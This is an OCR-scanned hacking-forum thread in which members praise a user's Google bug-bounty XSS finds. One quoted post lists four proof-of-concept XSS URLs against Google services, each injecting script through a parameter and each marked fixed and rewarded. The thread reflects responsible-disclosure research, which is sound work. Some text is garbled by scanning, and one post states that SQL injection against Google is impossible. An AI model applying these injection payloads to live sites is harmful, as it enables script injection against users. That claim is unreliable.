| found three persistent XSS'es in total, and | might get a reward for two of them (the other one was
a persistent self-XSS).

| also found another one, but that was an useless self XSS. | will create a topic covering those
exploits as soon as | get permission from Google to disclose them.

FastFive - January 1, 2012, 3:04 pm

Ox i look forward to reading that.... if i hacked google i wouldnt care about a reward just getting on
the "hall of fame" is the best thing you can put on your resume for a career in web security or some
shit

Pillows - January 1, 2012, 3:08 pm

Ahhh I'm like on a dry spell or something. I can't find anything on Google (except for a possible
CSRF but I'll leave that for later.) XSS-related.

elvinguitar - January 2, 2012, 1:35 am
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(Jan 1, 2012 04:08 PM)ring0 ??? Wrote: [CITE] Ahhh I'm like on a dry spell or something. | can't find
anything on Google (except for a possible CSRF but I'll leave that for later.) XSS-related.
Yeah! It's really hard looking for XSS now in google. ?

0x74697069 - January 2, 2012, 4:20 am

(Jan 2, 2012 02:35 AM)elvinguitar Wrote: [CITE] Yeah! It's really hard looking for XSS now in google.
?Can't find anything either.

And the Security Team is on holidays right now, so still no new information / permission to disclose
it.

E: elvinguitar, you haven't found my XSS'es yet?
E2: Actually, FastFive, | already got a job (as a student) that covers Web Security. :-)

elvinguitar - January 2, 2012, 6:48 am

(Jan 2, 2012 05:20 AM)0x74697069 Wrote: [CITE] Can't find anything either.

And the Security Team is on holidays right now, so still no new information / permission to disclose
it.

E: elvinguitar, you haven't found my XSS'es yet?

E2: Actually, FastFive, | already got a job (as a student) that covers Web Security. :-)

Yeah! | don't have any new XSS. ? besides, it's now the resume of our class, so | don't have time to
find XSS. | need to focus on my studies especially there are upcoming quiz bees. ?

FastFive - January 2, 2012, 3:08 pm
how long did it take to find these? i looked for 2 days so far, no luck. or maybe i just suck as hacking

0x74697069 - January 2, 2012, 3:22 pm

(Jan 2, 2012 04:08 PM)FastFive Wrote: [CITE] how long did it take to find these? i looked for 2 days
so far, no luck. or maybe i just suck as hackingl found mine in three days.

| started in the evening, it took about 2-3 hours to find a persistent XSS.

The following morning, | found two. It took 3-4 hours to find those. (Not eligible for a reward)

And | found the last persistent one on the third day, after about 4 hours (maybe 5 with a pause).
Then I've been searching for two days, | couldn't find anything. :-(

FastFive - January 2, 2012, 3:31 pm
wow man nice job... i haven't even found the slightest thing yet... :\

Crysan - January 2, 2012, 11:33 pm
Who searches will find.
Nice, enjoy the money bro ! » "

elvinguitar - January 3, 2012, 2:35 am

(Jan 3, 2012 12:33 AM)Crysan Wrote: [CITE] Who searches will find.
Nice, enjoy the money bro ! »

thanks bro! ? anyway, i still didn't get the money. ?

Off - January 3, 2012, 6:11 am
That was really awesome buddy! Keep it up!

elvinguitar - January 3, 2012, 6:15 am
(Jan 3, 2012 07:11 AM)Off Wrote: [CITE] That was really awesome buddy! Keep it up!
thank you bro! ? i wish i could find another xss in google.
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Cinas - January 3, 2012, 6:27 am

(Jan 3, 2012 07:15 AM)elvinguitar Wrote: [CITE] thank you bro! ? i wish i could find another xss in
google.

why only xss lol :D :D try to find sql bug lol : )) you will get more money

elvinguitar - January 3, 2012, 6:32 am

(Jan 3, 2012 07:27 AM)Cinas Wrote: [CITE] why only xss lol :D :D try to find sql bug lol :)) you will
get more money

| think it's impossible to find SQLi vulnerability in google.

1294 - January 3, 2012, 6:40 am
WOWWOW | want to be like you ?

elvinguitar - January 3, 2012, 6:42 am

(Jan 3, 2012 07:40 AM)1294 Wrote: [CITE] WOWWOW | want to be like you ?
Start learning XSS now mate. ?

Andora - January 3, 2012, 6:47 am
Congratulations,
| hope you enjoy the reward.

0x74697069 - January 3, 2012, 7:03 am

The panel will discuss tomorrow whether I'll get a reward for one of those two XSS'es that may be
eligible for a reward or not. Exiting, but my hopes aren't too high. I'll keep you guys updated.

By the way, it's indeed impossible to find an SQL injection in Google's system. Their database won't
allow that.

elvinguitar - January 3, 2012, 7:13 am

(Jan 3, 2012 08:03 AM)0x74697069 Wrote: [CITE] The panel will discuss tomorrow whether I'll get a
reward for one of those two XSS'es that may be eligible for a reward or not. Exiting, but my hopes
aren't too high. I'll keep you guys updated.

By the way, it's indeed impossible to find an SQL injection in Google's system. Their database won't
allow that.

Congrats bro! | hope you'll get a reward. ?

?Victory - January 3, 2012, 8:43 am
WOW good job there bro,

Well | was thinking ... if | want to learn XSS Can you give me some useful links to start with ? ~

| have a basic idea about Networking and Website development as | Studied Both when | was in
college.

Analyst - January 3, 2012, 9:04 am

Really great achievement. Can't believe they really paid for these.
elvinguitar - January 4, 2012, 1:17 am

(Jan 3, 2012 09:43 AM)victory2u Wrote: [CITE] WOW good job there bro,

Well | was thinking ... if | want to learn XSS Can you give me some useful links to start with ? ~_»

| have a basic idea about Networking and Website development as | Studied Both when | was in
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college.
use the search engine bro. ?

REDRIFLE - February 18, 2012, 10:53 pm
Holy shit those poor guys at google. they must've gotten tired after like the 4th time.

"*sigh* hey elvin, here's your money, another $1000. regards, google security team"

elvinguitar - February 19, 2012, 1:26 am
(Feb 18, 2012 11:53 PM)REDRIFLE Wrote: [CITE] Holy shit those poor guys at google. they must've
gotten tired after like the 4th time.

"*sigh* hey elvin, here's your money, another $1000. regards, google security team"Hehehehe. ? It
so sad right now because I'm too busy with my studies and | don't have time to look for more
vulnerabilities in google.

HAMMO1 - February 19, 2012, 1:46 am
great work ur awesome .. nice found ..

Hackxxx - February 19, 2012, 2:29 am
very nice then enjoy your day and fame

Px5 - February 19, 2012, 3:41 am
Very nice man..!!
Keep up the good work ;)

Nepal Cyber Army - February 19, 2012, 4:05 am

wow man nice find and enjoy the money..

I wish i could have done that..

Now | think XSS is another good method of earning money..

kbapplications - February 19, 2012, 4:39 am
@OP Just curious, when you submitted the vulnerabilities to them, did you ask for an reward?

Nepal Cyber Army - February 19, 2012, 5:02 am

wow man it has been fixed now and can you tell me how did you find the xss on this major big sites
I?

can you explain me..?

elvinguitar - June 1, 2012, 11:49 am
Just uploaded my latest XSS (although it's a very late upload). ?

RIPPER - June 1, 2012, 12:05 pm
congrats a lot dude..have fun wid ur cash

Devoted - June 1, 2012, 12:14 pm
| am just asking, on the first picture. Are you reading an XSS tutorial?

elvinguitar - June 1, 2012, 12:37 pm
(Jun 1, 2012 12:14 PM)Devoted Wrote: [CITE] | am just asking, on the first picture. Are you reading
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an XSS tutorial?
yeah. I'm reading an XSS tutorial that time. :)

kenturky - August 14, 2012, 10:32 am

erm... im a noob, so, kindly explain to me what all those "XSS"es are... because i dont understand
head or tail of whats going on.... and yeah, i can see you are getting some cash looking at the
comments, but cant seem to understand whats goin on...

uBurn - August 14, 2012, 1:14 pm

(Aug 14, 2012 10:32 AM)kenturky Wrote: [CITE] erm... im a noob, so, kindly explain to me what all
those "XSS"es are... because i dont understand head or tail of whats going on.... and yeah, i can

see you are getting some cash looking at the comments, but cant seem to understand whats goin
on...

don't fucking grave dig threads moron.

Geed4rce - August 14, 2012, 1:37 pm
(Aug 14, 2012 01:14 PM)uBurn Wrote: [CITE] don't fucking grave dig threads moron.
Why not - glad i've seen this so now i know what parameter i missed out in the main search ??? ?

Very great finds!
Respect from me to elvinguitar ?

Greets, Gee.

Dastoks - August 14, 2012, 2:04 pm

WOW :O epic epic man ! nice!

wish i could find some stuff

bagsik_123 - August 14, 2012, 2:36 pm

Nice job mate you're richgoogle make a payment for every vulnerability is it working right now this

vulnerability?i want to earn also like you.!

TH3_1NJ3CTOR - August 14, 2012, 3:27 pm
Nice one!

I'm not a XSS pro, but very nice!

Th3k0OndOr - August 14, 2012, 3:35 pm

JrMn - August 15, 2012, 4:24 am
Well done sir, this was impressive!

~[DogiD]~ - August 15, 2012, 6:49 am
Nice find bro :]
Enjoy you money and keep it up!

~ DogiD ?

elvinguitar - August 15, 2012, 7:12 am
thanks for all the reply guys (even though this thread is old) :))

DiGiTaLGoD - August 15, 2012, 9:35 am
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(Aug 15, 2012 07:12 AM)elvinguitar Wrote: [CITE] thanks for all the reply guys (even though this
thread is old) :))

Even this thread is old, well done elvin, really good job, you earn the money. Reporting is the right
way !l ?7?

elvinguitar - August 16, 2012, 11:36 am

(Aug 15, 2012 09:35 AM)DIGIiTaLGoD Wrote: [CITE] Even this thread is old, well done elvin, really
good job, you earn the money. Reporting is the right way !l ??

thanks for that buddy. ? | can't find any xss in google anymore since I'm too busy with my studies. :|

mrxxxx - August 16, 2012, 11:31 pm
this is awesome bro .. keep it up :)

Wellwhatsgood? - February 16, 2013, 10:01 am
(Dec 14, 2011 09:20 PM)elvinguitar Wrote: [CITE] Google Image XSS

Screenshot:
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/GoogleXSS.jpg[/IMG]

Link:

Code
www.google.com/search?q=google&hl=en&ghbv=2&biw=1024&bih=664&noj=1&tbs=isz:ex,iszw:"><s
cript>alert("XSS by elvin") ;</script>,iszh:"><script>alert("XSS by elvin")
</script>&tbm=isch&source=Int&sa=X&ei=9NSxTpLhEIGaiQfDrsDLAg&ved=0CBIQpwUoBQ
Status: Fixed

Reward: $500
Spoiler (Click to View)
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/GooglelmageEmail.jpg[/IMG]

Google Fusion Table XSS

Screenshot:
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/GoogleFusionTable XSS.jpg[/IMG]

Link:

Code www.google.com/fusiontables/DataSource?dsrcid=2257355"><script>alert("XSS by
elvinguitar") ;</script>

Status: Fixed

Reward: $1000
Spoiler (Click to View)
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/GoogleFusionTableEmail.jpg[/IMG]

Google Voice XSS

Screenshot:
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/GoogleVoicel.jpg[/IMG]

Link:

Code
https://www.google.com/voice/rates?p=%27%29;alert%28%22XSS%20by%?20elvinguitar%22%29%
20;%3C/script%3E
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Status: Fixed

Reward: $1000
Spoiler (Click to View)
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/Capture-1.jpg[/IMG]

Google Search XSS

Screenshot:
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/ph.jpg[/IMG]

Link:

Code
http://www.google.com.ph/support/jobs/bin/search.py?ctx=en%3Asearchbox&query=%3C%00script
%3E%3Cscript%3Ealert%28%22XSS%20by%20elvinguitar%22%29%3C/script%3E

Status: Fixed

Reward: $500
Spoiler (Click to View)
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/Capture-2.jpg[/IMG]

Hall of Fame:
http://www.google.com/about/corporate/company/halloffame.html

| just want to show my achievements that's why this thread was created. No flaming. ?

Sorry for the very late upload in Google Search XSS. Hehe. ?

Hey man congrats! I've found 3 xss vulns but none of them counted since they were self, and
sandbox.

Anyways how did you know to put the '); on the p= parameter on the voices rates xss ?

TheKingOfArabs - February 16, 2013, 12:26 pm
Hi Elven,

Congrats on the money, maybe you can teach me a bit over PM?
Thanks :D

-Tan

Ironside - February 16, 2013, 12:35 pm
It looks like easy money until you realize it's not as easy as it looks.

Coffee - February 16, 2013, 6:53 pm
| know this threads old but you still deserve recognition for this, great work

#Skyline - February 16, 2013, 8:51 pm
Very nice tutorial :)
You don't see many pictures in XSS tutorials 0.0

SHADOW REALM - February 16, 2013, 8:52 pm
Holy shit, very nice
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And nice gravedig as well looking at the last post

Mario - February 17, 2013, 12:49 am
Geez. What | could do with that money! Nice finds :)

weblancer - February 17, 2013, 2:25 am
cong dude nice job hope you will do same in future
thanks

4RGOS - February 17, 2013, 2:34 am
Nice find, keep this up and you will be rich :O

LamGade - February 18, 2013, 6:38 am
Awesome find and rewards mate.
Enjoy with the money

Th3 JOK3r - February 18, 2013, 8:04 am
Dont ynderstand anything xd what u talking about iam a noob xd

zombiehacker - February 18, 2013, 8:06 am
I'm jelly as fuck nice work man, keep em comming.

Darknight001 - January 4, 2014, 9:37 pm
Wow Nice Work man. | want to learn that also. Can you Pm me the things that | need to do.
Thanks man

Apolo down - January 4, 2014, 9:42 pm
Wow thats amazing, good job man! | wish | could do that :P

Krypto. - January 4, 2014, 11:06 pm
Guys, can we not necro. Once again, great job OP.

GuJJu - January 5, 2014, 11:47 am
What the hell, only 500% for that amazing blooper??
| should have asked for a job.

elvinguitar - January 6, 2014, 4:08 pm
thank you all guys for the compliment :)

Sanket - January 7, 2014, 4:11 pm

Awesome man, you're now rich.. hahahaha !
btw.. what is ur name @ HOF?

i want to be like you

Sm1th???? - January 7, 2014, 7:04 pm
Wow great job finding these vulnerabilities!



